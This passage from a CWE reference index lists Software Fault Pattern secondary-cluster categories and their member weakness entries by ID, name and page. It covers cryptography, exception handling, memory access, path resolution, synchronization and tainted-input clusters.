This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	1855
HasMember	B	353	Missing Support for Integrity Check	888	778
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	888	941
HasMember	G	436	Interpretation Conflict	888	943
HasMember	B	437	Incomplete Model of Endpoint Features	888	945
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	888	1388

**Category-958: SFP Secondary Cluster: Broken Cryptography**

Category ID : 958

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1855
HasMember	B	325	Missing Required Cryptographic Step	888	715
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	888	719
HasMember	B	328	Reversible One-Way Hash	888	724
HasMember	V	759	Use of a One-Way Hash without a Salt	888	1391
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	888	1396

**Category-959: SFP Secondary Cluster: Weak Cryptography**

Category ID : 959

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1855
HasMember	B	261	Weak Encoding for Password	888	574
HasMember	B	322	Key Exchange without Entity Authentication	888	710
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	888	711
HasMember	B	324	Use of a Key Past its Expiration Date	888	713
HasMember	C	326	Inadequate Encryption Strength	888	717
HasMember	V	329	Not Using a Random IV with CBC Mode	888	727
HasMember	B	347	Improper Verification of Cryptographic Signature	888	762
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	1250

**Category-960: SFP Secondary Cluster: Ambiguous Exception Type**

Category ID : 960

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1851
HasMember	B	396	Declaration of Catch for Generic Exception	888	858
HasMember	B	397	Declaration of Throws for Generic Exception	888	860

**Category-961: SFP Secondary Cluster: Incorrect Exception Behavior**

Category ID : 961

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1851
HasMember	B	392	Missing Report of Error Condition	888	851
HasMember	B	393	Return of Wrong Status Code	888	853
HasMember	B	455	Non-exit on Failed Initialization	888	968
HasMember	B	460	Improper Cleanup on Thrown Exception	888	979
HasMember	B	544	Missing Standardized Error Handling Mechanism	888	1115
HasMember	B	584	Return Inside Finally Block	888	1169
HasMember	C	636	Not Failing Securely ('Failing Open')	888	1242
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	888	1352

**Category-962: SFP Secondary Cluster: Unchecked Status Condition**

Category ID : 962

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1851
HasMember	B	248	Uncaught Exception	888	544
HasMember	B	252	Unchecked Return Value	888	552
HasMember	B	253	Incorrect Check of Function Return Value	888	559
HasMember	B	273	Improper Check for Dropped Privileges	888	600
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	888	612
HasMember	B	372	Incomplete Internal State Distinction	888	821
HasMember	B	390	Detection of Error Condition Without Action	888	844
HasMember	B	391	Unchecked Error Condition	888	848
HasMember	B	394	Unexpected Status Code or Return Value	888	854
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	888	856
HasMember	B	431	Missing Handler	888	929
HasMember	B	478	Missing Default Case in Switch Statement	888	1016
HasMember	B	484	Omitted Break Statement in Switch	888	1032
HasMember	B	600	Uncaught Exception in Servlet	888	1191
HasMember	C	665	Improper Initialization	888	1290
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	888	1378
HasMember	C	755	Improper Handling of Exceptional Conditions	888	1386

**Category-963: SFP Secondary Cluster: Exposed Data**

Category ID : 963

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1853

HasMember	V	767	Access to Critical Private Variable via Public Method	888	1415

## Category-964: SFP Secondary Cluster: Exposure Temporary File

Category ID : 964

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1853
HasMember	C	377	Insecure Temporary File	888	827
HasMember	B	378	Creation of Temporary File With Insecure Permissions	888	830
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	888	832

## Category-965: SFP Secondary Cluster: Insecure Session Management

Category ID : 965

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1853
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	888	2
HasMember	B	488	Exposure of Data Element to Wrong Session	888	1038
HasMember	B	524	Use of Cache Containing Sensitive Information	888	1094

## Category-966: SFP Secondary Cluster: Other Exposures

Category ID : 966

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1853
HasMember	V	453	Insecure Default Variable Initialization	888	964
HasMember	B	487	Reliance on Package-level Scope	888	1036
HasMember	V	492	Use of Inner Class Containing Sensitive Data	888	1044
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	888	1095
HasMember	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	888	1217
HasMember	V	651	Exposure of WSDL File Containing Sensitive Information	888	1273

### Category-967: SFP Secondary Cluster: State Disclosure

Category ID : 967

Status: Incomplete

#### Summary

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1853
HasMember	V	202	Exposure of Sensitive Information Through Data Queries	888	476
HasMember	B	203	Observable Discrepancy	888	477
HasMember	B	204	Observable Response Discrepancy	888	481
HasMember	B	205	Observable Behavioral Discrepancy	888	484
HasMember	V	206	Observable Internal Behavioral Discrepancy	888	485
HasMember	V	207	Observable Behavioral Discrepancy With Equivalent Products	888	486
HasMember	B	208	Observable Timing Discrepancy	888	488

### Category-968: SFP Secondary Cluster: Covert Channel

Category ID : 968

Status: Incomplete

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	1855
HasMember	B	385	Covert Timing Channel	888	840
HasMember	C	514	Covert Channel	888	1084
HasMember	B	515	Covert Storage Channel	888	1085

### Category-969: SFP Secondary Cluster: Faulty Memory Release

Category ID : 969

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster (SFP12).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	891	SFP Primary Cluster: Memory Management	888	1851
HasMember	V	415	Double Free	888	899
HasMember	V	590	Free of Memory not on the Heap	888	1177
HasMember	V	761	Free of Pointer not at Start of Buffer	888	1398
HasMember	V	762	Mismatched Memory Management Routines	888	1402
HasMember	B	763	Release of Invalid Pointer or Reference	888	1405

## Category-970: SFP Secondary Cluster: Faulty Buffer Access

Category ID : 970

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster (SFP8).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1851
HasMember	G	118	Incorrect Access of Indexable Resource ('Range Error')	888	270
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	888	280
HasMember	V	121	Stack-based Buffer Overflow	888	289
HasMember	V	122	Heap-based Buffer Overflow	888	292
HasMember	B	124	Buffer Underwrite ('Buffer Underflow')	888	298
HasMember	V	126	Buffer Over-read	888	305
HasMember	V	127	Buffer Under-read	888	308

## Category-971: SFP Secondary Cluster: Faulty Pointer Use

Category ID : 971

Status: Incomplete

## Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster (SFP7).

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1851
HasMember	V	416	Use After Free	888	902
HasMember	B	476	NULL Pointer Dereference	888	1007
HasMember	V	588	Attempt to Access Child of a Non-structure Pointer	888	1175

**Category-972: SFP Secondary Cluster: Faulty String Expansion**

Category ID : 972

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster (SFP9).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1851
HasMember	V	785	Use of Path Manipulation Function without Maximum-sized Buffer	888	1455

**Category-973: SFP Secondary Cluster: Improper NULL Termination**

Category ID : 973

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster (SFP11).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1851
HasMember	B	170	Improper Null Termination	888	395

**Category-974: SFP Secondary Cluster: Incorrect Buffer Length Computation**

Category ID : 974

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster (SFP10).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	890	SFP Primary Cluster: Memory Access	888	1851
HasMember	B	131	Incorrect Calculation of Buffer Size	888	324
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	888	339
HasMember	C	251	Often Misused: String Management	888	1783
HasMember	V	467	Use of sizeof() on a Pointer Type	888	988

**Category-975: SFP Secondary Cluster: Architecture**

Category ID : 975

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1857
HasMember	B	348	Use of Less Trusted Source	888	764
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	888	786
HasMember	B	602	Client-Side Enforcement of Server-Side Security	888	1198
HasMember	C	637	Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')	888	1244
HasMember	B	649	Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking	888	1270
HasMember	B	654	Reliance on a Single Factor in a Security Decision	888	1278
HasMember	B	656	Reliance on Security Through Obscurity	888	1282
HasMember	C	657	Violation of Secure Design Principles	888	1284
HasMember	C	671	Lack of Administrator Control over Security	888	1306
HasMember	P	693	Protection Mechanism Failure	888	1341
HasMember	B	749	Exposed Dangerous Method or Function	888	1373

## Category-976: SFP Secondary Cluster: Compiler

Category ID : 976

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	907	SFP Primary Cluster: Other	888	1857
HasMember	B	733	Compiler Optimization Removal or Modification of Security-critical Code	888	1372

## Category-977: SFP Secondary Cluster: Design

Category ID : 977

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

### Membership

Nature	Type	ID	Name	V	Page

HasMember		705	Incorrect Control Flow Scoping	888	1355

## Category-978: SFP Secondary Cluster: Implementation

Category ID : 978

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf		907	SFP Primary Cluster: Other	888	1857
HasMember		358	Improperly Implemented Security Check for Standard	888	785
HasMember		398	7PK - Code Quality	888	1792
HasMember		623	Unsafe ActiveX Control Marked Safe For Scripting	888	1231
HasMember		710	Improper Adherence to Coding Standards	888	1362

## Category-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID : 979

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster (SFP17).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1852
HasMember	V	243	Creation of chroot Jail Without Changing Working Directory	888	537

## Category-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID : 980

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster (SFP18).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1852
HasMember	B	59	Improper Link Resolution Before File Access ('Link Following')	888	105
HasMember	V	62	UNIX Hard Link	888	112
HasMember	V	64	Windows Shortcut Following (.LNK)	888	114
HasMember	V	65	Windows Hard Link	888	116
HasMember	B	386	Symbolic Name not Mapping to Correct Object	888	842
HasMember	G	610	Externally Controlled Reference to a Resource in Another Sphere	888	1210

## Category-981: SFP Secondary Cluster: Path Traversal

Category ID : 981

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster (SFP16).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	893	SFP Primary Cluster: Path Resolution	888	1852
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	888	31
HasMember	B	23	Relative Path Traversal	888	42
HasMember	V	24	Path Traversal: '../filedir'	888	48
HasMember	V	25	Path Traversal: '/../filedir'	888	49
HasMember	V	26	Path Traversal: '/dir../filename'	888	51
HasMember	V	27	Path Traversal: 'dir../filename'	888	52
HasMember	V	28	Path Traversal: '../filedir'	888	54

HasMember	V	52	Path Equivalence: '/multiple/trailing/slash//'	888	97
HasMember	V	53	Path Equivalence: '\multiple\internal\backslash'	888	98
HasMember	V	54	Path Equivalence: 'filedir\' (Trailing Backslash)	888	99
HasMember	V	55	Path Equivalence: './.' (Single Dot Directory)	888	100
HasMember	V	56	Path Equivalence: 'filedir*' (Wildcard)	888	101
HasMember	V	57	Path Equivalence: 'fakedir../readdir/filename'	888	102
HasMember	V	58	Path Equivalence: Windows 8.3 Filename	888	103
HasMember	B	66	Improper Handling of File Names that Identify Virtual Resources	888	117
HasMember	V	67	Improper Handling of Windows Device Names	888	119
HasMember	V	72	Improper Handling of Apple HFS+ Alternate Data Stream Path	888	123
HasMember	B	73	External Control of File Name or Path	888	125
HasMember	B	428	Unquoted Search Path or Element	888	925
HasMember	C	706	Use of Incorrectly-Resolved Name or Reference	888	1357

## Category-982: SFP Secondary Cluster: Failure to Release Resource

Category ID : 982

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Failure to Release Resource cluster (SFP14).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	892	SFP Primary Cluster: Resource Management	888	1852
HasMember	V	401	Missing Release of Memory after Effective Lifetime	888	870

Nature	Type	ID	Name	V	Page
HasMember		404	Improper Resource Shutdown or Release	888	876
HasMember		459	Incomplete Cleanup	888	976

### Category-983: SFP Secondary Cluster: Faulty Resource Use

Category ID : 983

Status: Incomplete

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster (SFP15).

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf		892	SFP Primary Cluster: Resource Management	888	1852
HasMember		672	Operation on a Resource after Expiration or Release	888	1307

### Category-984: SFP Secondary Cluster: Life Cycle

Category ID : 984

Status: Incomplete

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf		892	SFP Primary Cluster: Resource Management	888	1852
HasMember		664	Improper Control of a Resource Through its Lifetime	888	1288
HasMember		666	Operation on Resource in Wrong Phase of Lifetime	888	1295
HasMember		675	Duplicate Operations on Resource	888	1313
HasMember		694	Use of Multiple Resources with Duplicate Identifier	888	1343

### Category-985: SFP Secondary Cluster: Unrestricted Consumption

Category ID : 985

Status: Incomplete

#### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf		892	SFP Primary Cluster: Resource Management	888	1852
HasMember		400	Uncontrolled Resource Consumption	888	862
HasMember		674	Uncontrolled Recursion	888	1311
HasMember		770	Allocation of Resources Without Limits or Throttling	888	1418
HasMember		774	Allocation of File Descriptors or Handles Without Limits or Throttling	888	1434

**Category-986: SFP Secondary Cluster: Missing Lock**

Category ID : 986

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster (SFP19).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1852
HasMember	B	364	Signal Handler Race Condition	888	801
HasMember	B	365	Race Condition in Switch	888	806
HasMember	B	366	Race Condition within a Thread	888	808
HasMember	B	368	Context Switching Race Condition	888	814
HasMember	B	413	Improper Resource Locking	888	894
HasMember	B	414	Missing Lock Check	888	898
HasMember	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	888	1113
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	888	1142
HasMember	B	609	Double-Checked Locking	888	1208
HasMember	G	662	Improper Synchronization	888	1285
HasMember	B	663	Use of a Non-reentrant Function in a Concurrent Context	888	1287
HasMember	G	667	Improper Locking	888	1296

**Category-987: SFP Secondary Cluster: Multiple Locks/Unlocks**

Category ID : 987

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster (SFP21).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1852
HasMember	B	585	Empty Synchronized Block	888	1170
HasMember	B	764	Multiple Locks of a Critical Resource	888	1409
HasMember	B	765	Multiple Unlocks of a Critical Resource	888	1411

**Category-988: SFP Secondary Cluster: Race Condition Window**

Category ID : 988

Status: Incomplete

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster (SFP20).

**Membership**

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1852
HasMember	G	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	888	791
HasMember	B	363	Race Condition Enabling Link Following	888	799
HasMember	B	367	Time-of-check Time-of-use (TOCTOU) Race Condition	888	810
HasMember	V	370	Missing Check for Certificate Revocation after Initial Check	888	819
HasMember	G	638	Not Using Complete Mediation	888	1246

## Category-989: SFP Secondary Cluster: Unrestricted Lock

Category ID : 989

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	894	SFP Primary Cluster: Synchronization	888	1852
HasMember	B	412	Unrestricted Externally Accessible Lock	888	892

## Category-990: SFP Secondary Cluster: Tainted Input to Command

Category ID : 990

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1853
HasMember	G	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	888	130
HasMember	G	75	Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)	888	133
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	888	134
HasMember	G	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	888	135
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	888	140
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	888	151
HasMember	V	80	Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)	888	164
HasMember	V	81	Improper Neutralization of Script in an Error Message Web Page	888	167

Nature	Type	ID	Name	V	Page
HasMember	V	82	Improper Neutralization of Script in Attributes of IMG Tags in a Web Page	888	169
HasMember	V	83	Improper Neutralization of Script in Attributes in a Web Page	888	171
HasMember	V	84	Improper Neutralization of Encoded URI Schemes in a Web Page	888	173
HasMember	V	85	Doubled Character XSS Manipulations	888	175
HasMember	V	86	Improper Neutralization of Invalid Characters in Identifiers in Web Pages	888	177
HasMember	V	87	Improper Neutralization of Alternate XSS Syntax	888	178
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	888	180
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	888	186
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	888	197
HasMember	B	91	XML Injection (aka Blind XPath Injection)	888	199
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	888	201
HasMember	V	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	888	209
HasMember	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	888	216
HasMember	G	99	Improper Control of Resource Identifiers ('Resource Injection')	888	224
HasMember	V	102	Struts: Duplicate Validation Forms	888	227
HasMember	V	103	Struts: Incomplete validate() Method Definition	888	229
HasMember	V	104	Struts: Form Bean Does Not Extend Validation Class	888	231
HasMember	V	105	Struts: Form Field Without Validator	888	233
HasMember	V	106	Struts: Plug-in Framework not in Use	888	236
HasMember	V	107	Struts: Unused Validation Form	888	239
HasMember	V	108	Struts: Unvalidated Action Form	888	241
HasMember	V	109	Struts: Validator Turned Off	888	243
HasMember	V	110	Struts: Validator Without Form Field	888	244
HasMember	B	112	Missing XML Validation	888	249
HasMember	V	113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')	888	251
HasMember	B	130	Improper Handling of Length Parameter Inconsistency	888	320
HasMember	B	134	Use of Externally-Controlled Format String	888	334
HasMember	G	138	Improper Neutralization of Special Elements	888	341
HasMember	B	140	Improper Neutralization of Delimiters	888	344
HasMember	V	141	Improper Neutralization of Parameter/Argument Delimiters	888	346
HasMember	V	142	Improper Neutralization of Value Delimiters	888	348
HasMember	V	143	Improper Neutralization of Record Delimiters	888	349
HasMember	V	144	Improper Neutralization of Line Delimiters	888	351
HasMember	V	145	Improper Neutralization of Section Delimiters	888	353
HasMember	V	146	Improper Neutralization of Expression/Command Delimiters	888	355
HasMember	V	147	Improper Neutralization of Input Terminators	888	357
HasMember	V	148	Improper Neutralization of Input Leaders	888	359

Nature	Type	ID	Name	V	Page
HasMember	V	149	Improper Neutralization of Quoting Syntax	888	360
HasMember	V	150	Improper Neutralization of Escape, Meta, or Control Sequences	888	362
HasMember	V	151	Improper Neutralization of Comment Delimiters	888	364
HasMember	V	152	Improper Neutralization of Macro Symbols	888	366
HasMember	V	153	Improper Neutralization of Substitution Characters	888	368
HasMember	V	154	Improper Neutralization of Variable Name Delimiters	888	369
HasMember	V	155	Improper Neutralization of Wildcards or Matching Symbols	888	371
HasMember	V	156	Improper Neutralization of Whitespace	888	373
HasMember	V	157	Failure to Sanitize Paired Delimiters	888	375
HasMember	V	158	Improper Neutralization of Null Byte or NUL Character	888	377
HasMember	G	159	Improper Handling of Invalid Use of Special Elements	888	379
HasMember	V	160	Improper Neutralization of Leading Special Elements	888	381
HasMember	V	161	Improper Neutralization of Multiple Leading Special Elements	888	382
HasMember	V	162	Improper Neutralization of Trailing Special Elements	888	384
HasMember	V	163	Improper Neutralization of Multiple Trailing Special Elements	888	386
HasMember	V	164	Improper Neutralization of Internal Special Elements	888	387
HasMember	V	165	Improper Neutralization of Multiple Internal Special Elements	888	389
HasMember	B	183	Permissive List of Allowed Inputs	888	423
HasMember	B	184	Incomplete List of Disallowed Inputs	888	425
HasMember	G	185	Incorrect Regular Expression	888	428
HasMember	B	186	Overly Restrictive Regular Expression	888	431
HasMember	B	444	Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')	888	951
HasMember	V	553	Command Shell in Externally Accessible Directory	888	1125
HasMember	V	554	ASP.NET Misconfiguration: Not Using Input Validation Framework	888	1125
HasMember	V	564	SQL Injection: Hibernate	888	1137
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	888	1192
HasMember	B	611	Improper Restriction of XML External Entity Reference	888	1212
HasMember	B	619	Dangling Database Cursor ('Cursor Injection')	888	1225
HasMember	B	621	Variable Extraction Error	888	1228
HasMember	B	624	Executable Regular Expression Error	888	1233
HasMember	B	625	Permissive Regular Expression	888	1234
HasMember	V	626	Null Byte Interaction Error (Poison Null Byte)	888	1236
HasMember	B	627	Dynamic Variable Evaluation	888	1238
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	888	1253
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	888	1260
HasMember	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	888	1262
HasMember	V	646	Reliance on File Name or Extension of Externally-Supplied File	888	1265
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	888	1275

Nature	Type	ID	Name	V	Page
HasMember	V	687	Function Call With Incorrectly Specified Argument Value	888	1332
HasMember	PI	707	Improper Neutralization	888	1358

## Category-991: SFP Secondary Cluster: Tainted Input to Environment

Category ID : 991

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1853
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	888	203
HasMember	G	114	Process Control	888	256
HasMember	B	427	Uncontrolled Search Path Element	888	921
HasMember	B	470	Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')	888	994
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	888	998
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	888	999
HasMember	V	473	PHP External Variable Modification	888	1003
HasMember	B	494	Download of Code Without Integrity Check	888	1053
HasMember	V	622	Improper Validation of Function Hook Arguments	888	1230
HasMember	G	673	External Influence of Sphere Definition	888	1310

## Category-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID : 992

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1853
HasMember	G	116	Improper Encoding or Escaping of Output	888	259
HasMember	B	166	Improper Handling of Missing Special Element	888	390
HasMember	B	167	Improper Handling of Additional Special Element	888	392
HasMember	B	168	Improper Handling of Inconsistent Special Elements	888	393
HasMember	G	172	Encoding Error	888	399
HasMember	V	173	Improper Handling of Alternate Encoding	888	401
HasMember	V	174	Double Decoding of the Same Data	888	403
HasMember	V	175	Improper Handling of Mixed Encoding	888	405
HasMember	V	176	Improper Handling of Unicode Encoding	888	406

Nature	Type	ID	Name	V	Page
HasMember	V	177	Improper Handling of URL Encoding (Hex Encoding)	888	409
HasMember	B	178	Improper Handling of Case Sensitivity	888	411
HasMember	B	179	Incorrect Behavior Order: Early Validation	888	414
HasMember	V	180	Incorrect Behavior Order: Validate Before Canonicalize	888	417
HasMember	V	181	Incorrect Behavior Order: Validate Before Filter	888	419
HasMember	B	182	Collapse of Data into Unsafe Value	888	421

## Category-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID : 993

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1853
HasMember	B	198	Use of Incorrect Byte Ordering	888	464
HasMember	G	228	Improper Handling of Syntactically Invalid Structure	888	518
HasMember	B	229	Improper Handling of Values	888	520
HasMember	V	230	Improper Handling of Missing Values	888	521
HasMember	V	231	Improper Handling of Extra Values	888	522
HasMember	V	232	Improper Handling of Undefined Values	888	523
HasMember	B	233	Improper Handling of Parameters	888	524
HasMember	V	234	Failure to Handle Missing Parameter	888	525
HasMember	V	235	Improper Handling of Extra Parameters	888	528
HasMember	V	236	Improper Handling of Undefined Parameters	888	529
HasMember	B	237	Improper Handling of Structural Elements	888	530
HasMember	V	238	Improper Handling of Incomplete Structural Elements	888	531
HasMember	V	239	Failure to Handle Incomplete Element	888	532
HasMember	B	240	Improper Handling of Inconsistent Structural Elements	888	532
HasMember	B	241	Improper Handling of Unexpected Data Type	888	533
HasMember	B	351	Insufficient Type Distinction	888	771
HasMember	B	354	Improper Validation of Integrity Check Value	888	780

## Category-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID : 994

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	896	SFP Primary Cluster: Tainted Input	888	1853
HasMember	B	15	External Control of System or Configuration Setting	888	17
HasMember	G	20	Improper Input Validation	888	19

Nature	Type	ID	Name	V	Page
HasMember	B	454	External Initialization of Trusted Variables or Data Stores	888	966
HasMember	V	496	Public Data Assigned to Private Array-Typed Field	888	1059
HasMember	B	502	Deserialization of Untrusted Data	888	1070
HasMember	V	566	Authorization Bypass Through User-Controlled SQL Primary Key	888	1140
HasMember	B	606	Unchecked Input for Loop Condition	888	1204
HasMember	V	616	Incomplete Identification of Uploaded File Variables (PHP)	888	1220

## Category-995: SFP Secondary Cluster: Feature

Category ID : 995

Status: Incomplete

### Summary

This category identifies Software Fault Patterns (SFPs) within the Feature cluster.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	906	SFP Primary Cluster: UI	888	1857
